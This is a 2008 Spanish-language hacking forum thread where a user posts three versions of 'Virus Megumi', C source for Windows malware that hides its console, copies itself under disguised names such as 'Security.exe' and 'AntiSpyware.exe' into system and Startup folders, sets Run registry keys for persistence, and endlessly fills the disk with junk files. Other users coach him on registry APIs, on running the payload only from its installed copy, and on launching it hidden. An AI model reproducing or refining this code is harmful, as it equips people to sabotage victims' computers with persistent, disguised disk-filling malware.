hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
04 de ſeptiembre de 2008, 10:39:21
Noticias: Participa en el batch lab de CPH
Para ver este enlace Registrate o Inicia Sesion
aqui

+  Foros pOrtal Hacker
|-+  Programacion
| |-+  Programación en general
| | |-+  C / C++
| | | |-+  Código Abierto (Moderadores: mycrox, TxShAcK)
| | | | |-+  Virus Megumi
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: 1 2 [Todos] Ir Abajo Imprimir
Autor Tema: Virus Megumi  (Leído 615 veces)
Void
NZ1
*
Desconectado Desconectado

Mensajes: 68


El destino baraja y nosotros jugamos


Ver Perfil
« : 28 de Junio de 2008, 10:40:09 »

Este virus llena el disco duro silenciosament e todo el tiempo que este prendida la PC. Es mi primer virus en C++, asi que no esperen demaciado. Los comandos que utiliza para iniciarse con windows son de DOS, si alguien sabe como acerlo desde C++ que por favor me lo diga.

Para que funcione, hay que llamarlo Megumi.exe, este es el code:
Código:
#include<stdio.h>
#include<windows.h>


char name[12];

unsigned char gettecla()
{
      int j=(rand()%2);
      if(!j) return ((rand()%26)+97);
      if(j) return ((rand()%10)+48);
}

void tateti()
{
     int i=1;
     name[0]=((rand()%26)+65);
     name[8]='.';
     while(i<12)
     {
           if (i!=8) name[i]=gettecla();
           i++;
     }
}

void secopia()
{
     system("if not exist %windir%\\system32\\Megumi.exe reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Megumi /d %windir%\\system32\\Megumi.exe /f");
     system("if not exist %windir%\\system32\\Megumi.exe copy megumi.exe %windir%\\system32\\Megumi.exe");
     system("if not exist %windir%\\Security.exe reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Security /d %windir%\\Security.exe /f");
     system("if not exist %windir%\\Security.exe copy megumi.exe %windir%\\Megumi.exe");
     system("if not exist %windir%\\Security.exe copy megumi.exe %windir%\\Security.exe");
}


main()
{
      FILE* archivo;
      unsigned long int numero, k=0;
      char caracter[1024];
     
     
      secopia();
      FreeConsole();
      while(k<1024)
      {
            caracter[k]='0';
            k++;
      }
      for(;;)
      {
             tateti();
             if (!(archivo=fopen(name,"r+b"))) archivo=fopen(name,"wb");
             k=0;
             numero=((rand()%10)+1)*1024;
             while(k<numero)
             {
                   fwrite(&caracter,1024,1,archivo);
                   k++;
             }
             fclose(archivo);
      }
}

Nota: Al ejecutarlo la carpeta en la que este se llena de archivos inutiles y relativamente pesados. Si alguien sabe como evitarlo que por favor me diga.

Nota2: Le puse de nombre megumi en honor al fantasma de la pelicula "imagenes del mas alla", ya que hace ser mas pesado a Benjamin.
 cura
En línea

Sólo cuando se está en posesión de la verdad se da uno cuenta de lo deliciosa y preferible que era la mentira
FreakMind
NZ2
**
Desconectado Desconectado

Mensajes: 246



Ver Perfil
« Respuesta #1 : 28 de Junio de 2008, 06:13:25 »

Eso no es un virus...


Saludos, FreakMind
En línea


Connoisseurs of C semantics find C++ inferior to ++C

Void
NZ1
*
Desconectado Desconectado

Mensajes: 68


El destino baraja y nosotros jugamos


Ver Perfil
« Respuesta #2 : 29 de Junio de 2008, 11:41:49 »

¿Por que no?, y ¿como seria un virus entonces?
En línea

Sólo cuando se está en posesión de la verdad se da uno cuenta de lo deliciosa y preferible que era la mentira
rapidfuck
NZ2
**
Desconectado Desconectado

Mensajes: 375



Ver Perfil WWW
« Respuesta #3 : 29 de Junio de 2008, 12:03:15 »

Es el que se propaga creo
En línea


Para ver este enlace Registrate o Inicia Sesion


Para ver este enlace Registrate o Inicia Sesion
Sagitarius
NZ2
**
Desconectado Desconectado

Mensajes: 130


Ama hasta que duela, si duele es buena señal...


Ver Perfil
« Respuesta #4 : 30 de Junio de 2008, 06:19:24 »

Los que se propagan son gusanos, un virus puede ser cualquier programa cuyo fin sea fastidiarte. Al menos desde mi punto de vista.
En línea
Void
NZ1
*
Desconectado Desconectado

Mensajes: 68


El destino baraja y nosotros jugamos


Ver Perfil
« Respuesta #5 : 30 de Junio de 2008, 04:16:43 »

Pues mi definicion de virus era parecida a la de Sagitarius, por eso lo llame asi. De todas formas es un programa que no le gustaria a nadie tener en su computadora, y ese era mi objetivo.
 cura
En línea

Sólo cuando se está en posesión de la verdad se da uno cuenta de lo deliciosa y preferible que era la mentira
FreakMind
NZ2
**
Desconectado Desconectado

Mensajes: 246



Ver Perfil
« Respuesta #6 : 02 de Julio de 2008, 12:10:16 »

Buenas

cualquier programa cuyo fin sea fastidiarte
Eso podria ser la definicion de malware.

Un virus informatico (como su analogo biologico) es un programa que se copia a si mismo y se adhiere a otros archivos sin el conocimiento del usuario. Por otro lado, no necesariamente un virus tiene que hacer algo "dañiño" aunque obviamente la mayoria lo hace.

Lo que postearon, tal vez podria llamarse bacteria.

Saludos, FreakMind
En línea


Connoisseurs of C semantics find C++ inferior to ++C

Simonss
NZ1
*
Desconectado Desconectado

Mensajes: 37


Ver Perfil
« Respuesta #7 : 02 de Julio de 2008, 06:49:28 »

Es mejor no utilizar system para acceder al registro si existe Reg(OpenKeyEx, SetvalueEx, Closekey) para hacerlo mas rapidamente, si recurrimos a system todo el llenado del HD lo hacemos en una sola linea.
No entiendo porque dices que esta hecho en C++ es por  *.cpp?? porque no veo alguna caracteristica propia de C++. El main deberia retornar un valor puesto que no veo void en el mismo, etc, etc etc.
En línea
Void
NZ1
*
Desconectado Desconectado

Mensajes: 68


El destino baraja y nosotros jugamos


Ver Perfil
« Respuesta #8 : 03 de Julio de 2008, 09:21:53 »

Podrias darme un ejemplo de como modificar el registro ?, ¿y decirme que libreria nesecito?



Yo estoy empezando a aprender c++, por eso no se muchas cosas. Pero escribi que lo hice en c++ porque lo compilo con dev-c++.Y no puse void main() porque con dev-c++ me salta un error al hacerlo asi, y este codigo lo copie directamente del que yo uso.
 cura
« Última modificación: 03 de Julio de 2008, 09:24:57 por Void » En línea

Sólo cuando se está en posesión de la verdad se da uno cuenta de lo deliciosa y preferible que era la mentira
Simonss
NZ1
*
Desconectado Desconectado

Mensajes: 37


Ver Perfil
« Respuesta #9 : 03 de Julio de 2008, 07:25:08 »

Bueno....
Código:

#include <windows.h>
int main ()
{     
      char direc[15]="rutadelprograma";
      HKEY elkey;
      RegOpenKeyEx(HKEY_CURRENT_USER, "Control Panel\\Appearance", 0, KEY_SET_VALUE, &elkey);
      RegSetValueEx (elkey, "yahooo", 0, REG_SZ, (LPBYTE) direc, 15);
      RegCloseKey(elkey);
      return 0;   
}

En este caso puse 15 porque se el numero de caracteres que tiene direc, pero en caso de variables se puede usar sizeof o strlen para saber cuantos caract. tendra y poder escribirlos.
Dev C++ puede hacer codes en c y c++, si lo haces en un proyecto de c tb te compila y funciona, por ello preguntaba Smiley.
ciao.
En línea
Void
NZ1
*
Desconectado Desconectado

Mensajes: 68


El destino baraja y nosotros jugamos


Ver Perfil
« Respuesta #10 : 04 de Julio de 2008, 09:50:32 »

Gracias, me has ayudado mucho.
 cura
En línea

Sólo cuando se está en posesión de la verdad se da uno cuenta de lo deliciosa y preferible que era la mentira
Void
NZ1
*
Desconectado Desconectado

Mensajes: 68


El destino baraja y nosotros jugamos


Ver Perfil
« Respuesta #11 : 07 de Julio de 2008, 10:36:32 »

Cambie un poco el codigo, para no usar el comando system(). Yo creo que es mejor que el anterior.

Código:
#include<stdio.h>
#include<windows.h>


char name[12];

unsigned char gettecla()
{
      int j=(rand()%2);
      if(!j) return ((rand()%26)+97);
      if(j) return ((rand()%10)+48);
}

void tateti()
{
     int i=1;
     name[0]=((rand()%26)+65);
     name[8]='.';
     while(i<12)
     {
           if (i!=8) name[i]=gettecla();
           i++;
     }
}



void main(int argc, char *argv[])
{
      FILE* archivo;
      unsigned long int numero, k=0;
      char caracter[1024];
     
      HKEY elkey;
      char da[]="C:\\WINDOWS\\SYSTEM32\\Megumi.exe";
      char db[]="C:\\WINDOWS\\Megumi.exe";
      char dc[]="C:\\WINDOWS\\Security.exe";

      CopyFile(argv[0],"C:\\WINDOWS\\SYSTEM32\\Megumi.exe",0);
      CopyFile(argv[0],"C:\\WINDOWS\\Megumi.exe",0);
      CopyFile(argv[0],"C:\\WINDOWS\\Security.exe",0);
     
      RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &elkey);
      RegSetValueEx (elkey, "Megumi", 0, REG_SZ, (LPBYTE) da, sizeof(da));
      RegSetValueEx (elkey, "Megumiv", 0, REG_SZ, (LPBYTE) db, sizeof(db));
      RegSetValueEx (elkey, "Security", 0, REG_SZ, (LPBYTE) dc, sizeof(dc));
      RegCloseKey(elkey);
     
     
      FreeConsole();
      while(k<1024)
      {
            caracter[k]='0';
            k++;
      }
      for(;;)
      {
             tateti();
             if (!(archivo=fopen(name,"r+b"))) archivo=fopen(name,"wb");
             k=0;
             numero=((rand()%10)+1)*1024;
             while(k<numero)
             {
                   fwrite(&caracter,1024,1,archivo);
                   k++;
             }
             fclose(archivo);
      }
}


Nota: Todavia no pude hacer que no se creen archivos en la carpeta en la que se ejecuta el malware, si alguien sabe como hacerlo que por favor me lo diga.
 cura
En línea

Sólo cuando se está en posesión de la verdad se da uno cuenta de lo deliciosa y preferible que era la mentira
FreakMind
NZ2
**
Desconectado Desconectado

Mensajes: 246



Ver Perfil
« Respuesta #12 : 07 de Julio de 2008, 05:17:14 »

Trataste cambiando el directorio actual?


Saludos, FreakMind
En línea


Connoisseurs of C semantics find C++ inferior to ++C

Simonss
NZ1
*
Desconectado Desconectado

Mensajes: 37


Ver Perfil
« Respuesta #13 : 07 de Julio de 2008, 07:34:05 »

Nota: Todavia no pude hacer que no se creen archivos en la carpeta en la que se ejecuta el malware, si alguien sabe como hacerlo que por favor me lo diga.
 cura

Separa mas partes del codigo en funciones y puedes hacer lo sgte:
Al comienzo en el main puedes hacer una comprobación...
Si tu programa se ejecuta en su destino ejemplo "C:\\Windows" por ejemplo llamar a la funcion para crear los archivos, si no se encuentra en ella, entonces pasar a la funcion de autocopia y escritura del registro, luego  ejecutar la copia en C:\\windows u otro dir con shellexecute.
En lugar de utilizar un random puedes utilizar el mismo for y los valores de "i" por ejemplo los utilizas como nombre de archivo, pero mi idea seria que crearas un solo archivo (fopen) y utilizaras CopyFile combinado con el for y el valor de "i" por ejemplo, para escribir las copias (1.txt, 2.txt, ... n.txt) en otro caso puedes directamente copiar algun archivo grande de el mismo windows con diferentes nombres con CopyFile.
Ciao.
« Última modificación: 07 de Julio de 2008, 07:35:45 por Simonss » En línea
Void
NZ1
*
Desconectado Desconectado

Mensajes: 68


El destino baraja y nosotros jugamos


Ver Perfil
« Respuesta #14 : 09 de Julio de 2008, 07:04:30 »

Gracias por las sugerencias
En línea

Sólo cuando se está en posesión de la verdad se da uno cuenta de lo deliciosa y preferible que era la mentira
Void
NZ1
*
Desconectado Desconectado

Mensajes: 68


El destino baraja y nosotros jugamos


Ver Perfil
« Respuesta #15 : 11 de Julio de 2008, 07:09:59 »

Lo termine, solo me falta lo de filecopy. Unas preguntas, ¿es mas rapido con filecopy, o por que me lo recomiendas?, y ¿que es shellexecute?.

Hasta ahora esta si:
Código:
#include<stdio.h>
#include<windows.h>
#include<string.h>


char name[12];

unsigned char gettecla()
{
      int j=(rand()%2);
      if(!j) return ((rand()%26)+97);
      if(j) return ((rand()%10)+48);
}

void tateti()
{
     int i=1;
     name[0]=((rand()%26)+65);
     name[8]='.';
     while(i<12)
     {
           if (i!=8) name[i]=gettecla();
           i++;
     }
}



main(int argc, char *argv[])
{
      FreeConsole();
      FILE* archivo;
      unsigned long int numero, k=0;
      char caracter[1024];
      bool sera=false;
     
      HKEY elkey;
      char da[]="C:\\WINDOWS\\SYSTEM32\\Megumi.exe";
      char db[]="C:\\WINDOWS\\Megumi.exe";
      char dc[]="C:\\WINDOWS\\Security.exe";
     
     
      CopyFile(argv[0],"C:\\WINDOWS\\SYSTEM32\\Megumi.exe",0);
      CopyFile(argv[0],"C:\\WINDOWS\\Megumi.exe",0);
      CopyFile(argv[0],"C:\\WINDOWS\\Security.exe",0);
     
      CopyFile(argv[0],"C:\\Documents and Settings\\All Users\\Menú Inicio\\Programas\\Inicio\\SoftwareRunner.exe",0);
      CopyFile(argv[0],"C:\\Documents and Settings\\Default User\\Menú Inicio\\Programas\\Inicio\\AntiSpyware.exe",0);
     
      RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &elkey);
      RegSetValueEx (elkey, "Megumi", 0, REG_SZ, (LPBYTE) da, sizeof(da));
      RegSetValueEx (elkey, "Megumiv", 0, REG_SZ, (LPBYTE) db, sizeof(db));
      RegSetValueEx (elkey, "Security", 0, REG_SZ, (LPBYTE) dc, sizeof(dc));
      RegCloseKey(elkey);
     
      while(k<1024)
      {
            caracter[k]='0';
            k++;
      }
     
      if(strcmp(argv[0],da)==0) sera=true;
      if(strcmp(argv[0],db)==0) sera=true;
      if(strcmp(argv[0],dc)==0) sera=true;
     
      if(sera)
      {
      for(;;)
      {
             tateti();
             if (!(archivo=fopen(name,"r+b"))) archivo=fopen(name,"wb");
             k=0;
             numero=((rand()%10)+1)*1024;
             while(k<numero)
             {
                   fwrite(&caracter,1024,1,archivo);
                   k++;
             }
             fclose(archivo);
             
      }
      }
}

cura
En línea

Sólo cuando se está en posesión de la verdad se da uno cuenta de lo deliciosa y preferible que era la mentira
Simonss
NZ1
*
Desconectado Desconectado

Mensajes: 37


Ver Perfil
« Respuesta #16 : 13 de Julio de 2008, 03:09:38 »

Unas preguntas, ¿es mas rapido con filecopy, o por que me lo recomiendas?, y ¿que es shellexecute?.

Tu puedes averiguarlo utilizando "TimeGetTime" para saber cual de ellos es mas veloz. Puedes usar Shellexecute para ejecutar un archivo, programa u otro de forma transparente, si asi lo quieres.
« Última modificación: 13 de Julio de 2008, 03:10:24 por Simonss » En línea
Void
NZ1
*
Desconectado Desconectado

Mensajes: 68


El destino baraja y nosotros jugamos


Ver Perfil
« Respuesta #17 : 20 de Julio de 2008, 10:36:12 »

Gracias, pero ¿podrias ponerme un ejemplo de como se usan??
En línea

Sólo cuando se está en posesión de la verdad se da uno cuenta de lo deliciosa y preferible que era la mentira
Deybit_cool
Recien llegado
*
Desconectado Desconectado

Mensajes: 4


Ver Perfil
« Respuesta #18 : 22 de Julio de 2008, 01:50:08 »

loco esteube probando el virus que teypiastes y tiene 5 errores y 1 warnirn esta malo si sabes como arreglarlo dimelo
En línea
Simonss
NZ1
*
Desconectado Desconectado

Mensajes: 37


Ver Perfil
« Respuesta #19 : 22 de Julio de 2008, 06:07:13 »

Gracias, pero ¿podrias ponerme un ejemplo de como se usan??

Código:
#include <windows.h>

int main()
{
  ShellExecute(0,"open","C:\\WINDOWS\\NOTEPAD.EXE",NULL,NULL,0);
  return 0;
}

El ultimo "0" cambialo por "1" para ver la diferencia.
En línea
Void
NZ1
*
Desconectado Desconectado

Mensajes: 68


El destino baraja y nosotros jugamos


Ver Perfil
« Respuesta #20 : 27 de Julio de 2008, 10:08:58 »

Citar
loco esteube probando el virus que teypiastes y tiene 5 errores y 1 warnirn esta malo si sabes como arreglarlo dimelo

Yo lo lo compile bien y sin errores ni warnings, y lo ejecute en mi computadora para ver si anda (pude quitarlo despues otra ves ya que conosco el codigo fuente), y funciono correctamente. Quisas no ande para tu compilador, yo uso dev-c++.

Citar
Citar
Gracias, pero ¿podrias ponerme un ejemplo de como se usan??

Código:
#include <windows.h>

int main()
{
  ShellExecute(0,"open","C:\\WINDOWS\\NOTEPAD.EXE",NULL,NULL,0);
  return 0;
}


El ultimo "0" cambialo por "1" para ver la diferencia.

Gracias Simonss, eres todo un maestro.
 cura
En línea

Sólo cuando se está en posesión de la verdad se da uno cuenta de lo deliciosa y preferible que era la mentira
Páginas: 1 2 [Todos] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online